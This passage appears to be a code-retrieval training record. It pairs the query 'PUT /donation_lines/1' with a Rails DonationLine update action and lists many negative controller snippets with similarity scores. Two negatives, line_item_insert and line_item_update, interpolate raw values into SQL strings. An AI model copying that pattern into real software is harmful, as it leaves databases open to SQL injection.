"def req_ord_line_params\n params.require(:req_ord_line).permit(:uuid, :req_ord_id, :req_ord_sup_id, :req_ord_mat_id, :werks, :cur_prc, :cur_prc_conv, :cur_leadtime, :cur_moq, :sup_prc, :sup_prc_conv, :chg_pct, :sup_valid_from, :sup_valid_to, :sup_moq, :sup_leadtime, :sup_remark, :open_by, :open_at, :open_ip, :reply_by, :reply_at, :reply_ip, :cur_alloc, :sup_alloc, :req_remark, :req_review_by, :req_review_at, :req_review_result, :req_review_remark, :req_approved_by, :req_approved_at, :req_approved_result, :req_approved_remark, :rcv_remark, :rcv_review_by, :rcv_review_at, :rcv_review_result, :rcv_review_remark, :rcv_approved_by, :rcv_approved_at, :rcv_approved_result, :rcv_approved_remark, :creator, :updater, :create_ip, :update_ip)\n end",
"def create\n @esseline = Esseline.new(esseline_params)\n\n respond_to do |format|\n if @esseline.save\n format.html { redirect_to @esseline, notice: 'Esseline was successfully created.' }\n format.json { render :show, status: :created, location: @esseline }\n else\n format.html { render :new }\n format.json { render json: @esseline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @businessline = Businessline.new(businessline_params)\n\n respond_to do |format|\n if @businessline.save\n format.html { redirect_to @businessline, notice: 'Businessline was successfully created.' }\n format.json { render :show, status: :created, location: @businessline }\n else\n format.html { render :new }\n format.json { render json: @businessline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invoice_line_item = InvoiceLineItem.new(params.require(:invoice_line_item).permit(:amount, :description, :invoice_id, :line_item_purpose_id, :service_visit_id, :vehicle_id))\n\n respond_to do |format|\n if @invoice_line_item.save\n format.html { redirect_to invoice_line_items_url,\n notice: 'InvoiceLineItem was successfully created.' }\n format.json { render json: @invoice_line_item, status: :created, location: @invoice_line_item }\n else\n prepFormVariables\n format.html { render action: \"new\" }\n format.json { render json: @invoice_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @time_line = TimeLine.new(time_line_params)\n\n respond_to do |format|\n if @time_line.save\n format.html { redirect_to @time_line, notice: 'Time line was successfully created.' }\n format.json { render :show, status: :created, location: @time_line }\n else\n format.html { render :new }\n format.json { render json: @time_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invoice_addon_line_item = InvoiceAddonLineItem.new(invoice_addon_line_item_params)\n\n respond_to do |format|\n if @invoice_addon_line_item.save\n format.html { redirect_to @invoice_addon_line_item.invoice, notice: 'Invoice addon line item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invoice_addon_line_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @invoice_addon_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def network_line_params\n params.require( :network_line ).permit( :code, :label, :seqno, :location_code_id, :note )\n end",
"def line_item_insert(h)\n\t\trows = @database.execute <<-SQL\n\t\tINSERT INTO invoice_lines\n\t\t\t\t(number\n\t\t\t\t, invoice_id\n\t\t\t\t, line_id\n\t\t\t\t, _order\n\t\t\t\t, description\n\t\t\t\t, amount\n\t\t\t\t, first_expense_id\n\t\t \t, first_time_entry_id\n\t\t\t\t, line_item_date\n\t\t\t\t, person\n\t\t\t\t, name\n\t\t\t\t, matter\n\t\t\t\t, unit_cost\n\t\t\t\t, quantity\n\t\t\t\t, type\n\t\t\t\t, updated\n\t\t\t\t)\n\t\tVALUES\n\t\t\t ('#{h['number']}'\n\t\t\t , '#{h['invoice_id']}'\n\t\t\t , '#{h['line_id']}'\n\t\t\t , '#{h['order']}'\n\t\t\t , '#{h['description']}'\n\t\t\t , '#{h['amount']}'\n\t\t\t , '#{h['first_expense_id']}'\n\t\t\t , '#{h['first_time_entry_id']}'\n\t\t\t , '#{h['line_item_date']}'\n\t\t , '#{h['person']}'\n\t\t\t , '#{h['name']}'\n\t\t\t , '#{h['matter']}'\n\t\t\t , '#{h['unit_cost']}'\n\t\t\t , '#{h['quantity']}'\n\t\t\t , '#{h['type']}'\n\t\t\t , '#{h['updated']}'\n\t\t\t )\n\t\tSQL\n\tend"
] |
[
"0.64750856",
"0.632006",
"0.6051545",
"0.60339636",
"0.5987517",
"0.59839094",
"0.5923049",
"0.5918125",
"0.5899685",
"0.58789",
"0.58365554",
"0.5821895",
"0.57627636",
"0.5709857",
"0.56877893",
"0.5662043",
"0.56467557",
"0.56003034",
"0.557587",
"0.5559673",
"0.5559479",
"0.55553293",
"0.55411017",
"0.55357397",
"0.5525965",
"0.55130756",
"0.55055916",
"0.5498781",
"0.54856014",
"0.54573536",
"0.54537207",
"0.54512656",
"0.54248375",
"0.5423818",
"0.5419281",
"0.54147273",
"0.53957754",
"0.53853583",
"0.5384095",
"0.53836167",
"0.53722763",
"0.5352043",
"0.5347224",
"0.5347057",
"0.5334515",
"0.5332702",
"0.5304498",
"0.5296154",
"0.5292932",
"0.52867126",
"0.52804065",
"0.5278637",
"0.5276043",
"0.5273047",
"0.52587914",
"0.52484506",
"0.52424824",
"0.5236157",
"0.5232367",
"0.52320933",
"0.51939064",
"0.5179339",
"0.5158807",
"0.51493716",
"0.5148717",
"0.5143738",
"0.514106",
"0.5132645",
"0.5130474",
"0.5120352",
"0.5117503",
"0.5112762",
"0.51089364",
"0.5107511",
"0.5095005",
"0.5094378",
"0.5093019",
"0.5087326",
"0.5074053",
"0.50671035",
"0.5063307",
"0.50573224",
"0.5044257",
"0.5042104",
"0.50386256",
"0.5035959",
"0.50357777",
"0.50316113",
"0.5024824",
"0.50238943",
"0.5017967",
"0.5012104",
"0.5010231",
"0.5005647",
"0.50048333",
"0.4998664",
"0.49915978",
"0.49897543",
"0.49857172",
"0.4976978"
] |
0.73007226
|
0
|
PUT /donation_lines/1 PUT /donation_lines/1.json
|
def update
@donation_line = DonationLine.find(params[:id])
respond_to do |format|
if @donation_line.update_attributes(params[:donation_line])
format.html { redirect_to @donation_line, notice: 'Donation line was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @donation_line.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @line = Line.find_by_no(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @donation_line = DonationLine.new(params[:donation_line])\n\n respond_to do |format|\n if @donation_line.save\n format.html { redirect_to @donation_line, notice: 'Donation line was successfully created.' }\n format.json { render json: @donation_line, status: :created, location: @donation_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @donation_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @donation_line = DonationLine.find(params[:id])\n @donation_line.destroy\n\n respond_to do |format|\n format.html { redirect_to donation_lines_url }\n format.json { head :ok }\n end\n end",
"def update\n @line = Line.find(params[:id])\n @budget = @line.budget\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(line_params)\n format.html { redirect_to new_line_path, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render verb: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n\n respond_to do |format|\n if @payment_line.update_attributes(params[:payment_line])\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line.update(line_params)\n format.html { redirect_to @line, notice: \"Line was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n if @order_line.update_attributes(params[:order_line])\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_detail.update(line_detail_params)\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line.attributes = line_params\n respond_to do |format|\n if @result = @line.valid?\n begin\n Line.transaction do\n @line.save!\n end\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { render :show, status: :ok, location: @line }\n format.js\n rescue => e\n render :text => e.message\n end\n else\n format.html { render :edit }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n\n respond_to do |format|\n if @so_line.update_attributes(params[:so_line])\n format.html { redirect_to(new_so_header_so_line_path(@so_header), :notice => 'So line was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @so_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @invent_journal_line = InventJournalLine.find(params[:id])\n\n respond_to do |format|\n if @invent_journal_line.update_attributes(params[:invent_journal_line])\n format.html { redirect_to @invent_journal_line, notice: 'Invent journal line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invent_journal_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts ('entro al update')\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n if @credit_line.update_attributes(params[:credit_line])\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to(@line, :notice => 'Line was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @budget_line.update(budget_line_params)\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_line }\n else\n format.html { render :edit }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order_line.update(order_line_params)\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_line }\n else\n format.html { render :edit }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n if @line_item1.update_attributes(params[:line_item1])\n format.html { redirect_to @line_item1, :notice => 'Line item1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item1.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = @order.line_items.find(params[:id])\n\n if @line_item.update(line_item_params)\n head :no_content\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n @sample_line = SampleLine.find(params[:id])\n\n respond_to do |format|\n if @sample_line.update_attributes(params[:sample_line])\n format.html { redirect_to @sample_line, notice: 'Sample line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sample_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @donation_line = DonationLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @donation_line }\n end\n end",
"def update\n @receipt = Receipt.find(params[:id])\n params[:receipt][:receipt_lines_attributes] = @receipt.process_removed_lines(params[:receipt][:receipt_lines_attributes])\n\n respond_to do |format|\n if @receipt.update_attributes(receipt_params)\n deposit_check = DepositCheck.find_by_receipt_id(@receipt.id)\n @receipt.update_attributes(:deposit_check_id => deposit_check.id) if deposit_check\n format.html { redirect_to @receipt, notice: 'Receipt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n if @item_line.update_attributes(params[:item_line])\n format.html { redirect_to @item_line, notice: 'Item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line = Line.new(params[:line])\n @line.budget_id = params[:budget_id]\n @budget = @line.budget\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully created.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clothing_line.update(clothing_line_params)\n format.html { redirect_to @clothing_line, notice: 'Clothing line was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_line }\n else\n format.html { render :edit }\n format.json { render json: @clothing_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @contract_service_line.update(contract_service_line_params)\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_service_line }\n else\n format.html { render :edit }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, :notice => 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n\n respond_to do |format|\n if @invoice_adjustment_line.update_attributes(params[:invoice_adjustment_line])\n flash[:notice] = 'InvoiceAdjustmentLine was successfully updated.'\n format.html { redirect_to(@invoice_adjustment_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoice_adjustment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_line\r\n @line = Line.find_by_id(params[:id])\r\n end",
"def show\n @donation_line = DonationLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @donation_line }\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lineup = Lineup.find(params[:id])\n\n respond_to do |format|\n if @lineup.update_attributes(params[:lineup])\n format.html { redirect_to @lineup, notice: 'Lineup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lineup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n\n respond_to do |format|\n if @purchase_order_item_line.update_attributes(params[:purchase_order_item_line])\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:inspection_line).permit(:id, :inspection_id, :line_id)\n end",
"def update\n @labor_cost_line = LaborCostLine.find(params[:id])\n\n respond_to do |format|\n if @labor_cost_line.update_attributes(params[:labor_cost_line])\n format.js\n format.html { redirect_to(labor_cost_line_item_path(@labor_cost, @labor_cost_line), :notice => 'Labor cost line was successfully updated.') }\n format.xml { head :ok }\n else\n format.js\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @labor_cost_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_liver.update(line_liver_params)\n format.html { redirect_to @line_liver, notice: 'Line liver was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_liver }\n else\n format.html { render :edit }\n format.json { render json: @line_liver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cruise_line.update(cruise_line_params)\n format.html { redirect_to @cruise_line, notice: 'Cruise line was successfully updated.' }\n format.json { render :show, status: :ok, location: @cruise_line }\n else\n format.html { render :edit }\n format.json { render json: @cruise_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line.update(line_params)\n format.html { redirect_to attachment_line_list_path(@line.attachment), notice: 'Line was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n env[\"HTTP_REFERER\"] += '#' + item.id.to_s\n format.html { redirect_to :back, notice: \"Aggiornato con successo.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:line).permit(:name, :diversion_rate)\n end",
"def update_line_tests\n line_tests.update_all(:doctor_id => self.doctor_id)\n end",
"def update\n @batting_line = BattingLine.find(params[:id])\n\n respond_to do |format|\n if @batting_line.update_attributes(params[:batting_line])\n format.html { redirect_to @batting_line, notice: 'Batting line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @batting_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @donation.update(donation_params)\n format.html { redirect_to api_v1_donation_url @donation, notice: 'Donation was successfully updated.' }\n format.json { render :show, status: :ok, location: api_v1_donation_url(@donation) }\n else\n format.html { render :edit }\n format.json { render json: @donation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update #saves and redirects, saves changes\n @line_item = LineItem.find(params[:id])\n @line_item.quantity = params[:quantity]\n @line_item.size_id = params[:size_id]\n @line_item.save\n render json: @line_item\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end",
"def line_params\n params.require(:line).permit(:next_node_id, :description)\n end",
"def update\n respond_to do |format|\n if @applied_line.update(applied_line_params)\n format.html { redirect_to @applied_line, notice: 'Applied line was successfully updated.' }\n format.json { render :show, status: :ok, location: @applied_line }\n else\n format.html { render :edit }\n format.json { render json: @applied_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @journal_line = JournalLine.find(params[:id])\n\n respond_to do |format|\n if @journal_line.update_attributes(params[:journal_line])\n flash[:notice] = 'JournalLine was successfully updated.'\n format.html { redirect_to(@journal_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @journal_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end",
"def update\n @donation = Donation.find(params[:id])\n\n respond_to do |format|\n if @donation.update_attributes(params[:donation])\n format.html { redirect_to @donation, :notice => 'Donation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @donation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @shipping_line = ShippingLine.find(params[:id])\n\n respond_to do |format|\n if @shipping_line.update_attributes(params[:shipping_line])\n format.html { redirect_to @shipping_line, :notice => 'Shipping line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @shipping_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote_line.update(quote_line_params)\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build(params[:payment_line])\n\n respond_to do |format|\n if @payment_line.save\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully created.') }\n format.json { render :json => @payment_line, :status => :created, :location => [@payment_line.payment, @payment_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @payment = Payment.find(params[:id])\n params[:payment][:payment_lines_attributes] = @payment.process_removed_lines(params[:payment][:payment_lines_attributes])\n\n respond_to do |format|\n if @payment.update_attributes(payment_params)\n # check_entry = CheckEntry.find_by_check_code(@payment.payment_check_code)\n # @payment.update_attributes(:check_entry_id => check_entry.id) if check_entry\n format.html { redirect_to @payment, notice: 'Payment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_req_ord_line\n @req_ord_line = ReqOrdLine.find(params[:id])\n end",
"def create\n @line_detail = LineDetail.new(line_detail_params)\n generate_id\n respond_to do |format|\n if @line_detail.save\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = @line_items.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @cart.shop, notice: t(\"line_items.update.notice_success\") }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n @donation = Donation.find(params[:id])\n\n respond_to do |format|\n if @donation.update_attributes(params[:donation])\n format.html { redirect_to @donation, notice: 'Donation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @donation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to @line, notice: \"Line was successfully created.\" }\n format.json { render :show, status: :created, location: @line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n if @product_line.update_attributes(params[:product_line])\n format.html { redirect_to @product_line, notice: 'Product line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single donation based on the id\n donation = Donation.find_by(id: the_id)\n\n # update it\n if donation.update!(\n amount: params[:amount],\n frequency: params[:frequency])\n render json: donation.as_json\n else\n render json: {errors: donation.errors.full_messages}\n end\n end",
"def update\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n if @lineitem.update_attributes(params[:lineitem])\n format.html { redirect_to @lineitem, notice: 'Lineitem was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_up.update(line_up_params)\n format.html { redirect_to @line_up, notice: 'Line up was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_up }\n else\n format.html { render :edit }\n format.json { render json: @line_up.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_update(h)\n\t\trows = @database.execute <<-SQL\n\t\tUPDATE invoice_lines\n\t\tSET\n\t\t\t\t_order = '#{h['order']}'\n\t\t\t, invoice_id = '#{h['invoice_id']}'\n\t\t\t, name = '#{h['name']}'\n\t\t\t, matter = '#{h['matter']}'\n\t\t\t, description = '#{h['description']}'\n\t\t\t, amount = '#{h['amount']}'\n\t\t\t, first_expense_id = '#{h['first_expense_id']}'\n\t\t\t, first_time_entry_id = '#{h['first_time_entry_id']}'\n\t\t\t, line_item_date = '#{h['line_item_date']}'\n\t\t\t, person = '#{h['person']}'\n\t\t\t, unit_cost = '#{h['unit_cost']}'\n\t\t\t, quantity = '#{h['quantity']}'\n\t\t\t, type = '#{h['type']}'\n\t\t\t, updated = '#{h['updated']}'\n\t\tWHERE (number = '#{h['number']}' AND line_id = '#{h['line_id']}');\n\t\tSQL\n\tend",
"def line_params\r\n params.require(:line).permit(:name)\r\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @storyline = Storyline.find(params[:id])\n @rest_ids = @storyline.id.to_s\n @start_id = params[:start_id]\n prev_id = params[:storyline][:prev]\n next_id = params[:storyline][:next]\n \n puts prev_id\n puts next_id\n puts params.inspect\n \n # Decide if user can edit the current line - only happens if no user owns the line or belongs to the current user\n # Else, one can only create new lines\n user_can_edit = (@storyline.user == nil || @storyline.user == @current_user)\n \n lines = TactfulTokenizer::Model.new.tokenize_text(params[:storyline][:line])\n \n # Perform a simple update if still only 1 sentence, and edit distance is small\n if lines.size == 1 and user_can_edit and Amatch::PairDistance.new(@storyline.line).match(lines[0]) > 0.8\n @storyline.update_attributes(params[:storyline])\n else\n @rest_ids = \"\"\n prev_line = Storyline.exists?(prev_id) ? Storyline.find(prev_id) : nil\n next_line = Storyline.exists?(next_id) ? Storyline.find(next_id) : nil\n # If first line matches, update it, then insert new path after that\n # Elif last line matches, update it, then insert new path before that\n ol = Amatch::PairDistance.new(@storyline.line)\n if user_can_edit\n if ol.match(lines[0]) > 0.8\n @storyline.update_attribute :line, lines.shift\n prev_line = @storyline\n @rest_ids = @storyline.id.to_s + \",\"\n elsif ol.match(lines[-1]) > 0.8\n @storyline.update_attribute :line, lines.pop\n next_line = @storyline\n end\n end\n \n if lines.size >= 1\n ## @storyline.update_attribute :line, lines.shift\n @storyline = Storyline.new(:line => lines.shift)\n @storyline.user = @current_user if @current_user\n @storyline.save\n @storyline.insert_between(prev_line, next_line, true)\n prev_line = @storyline\n @rest_ids += @storyline.id.to_s\n lines.each do |line|\n @storyline = Storyline.new(:line => line)\n @storyline.user = @current_user if @current_user\n @storyline.save\n @storyline.insert_between(prev_line, next_line)\n prev_line = @storyline\n end \n end\n end\n \n respond_to do 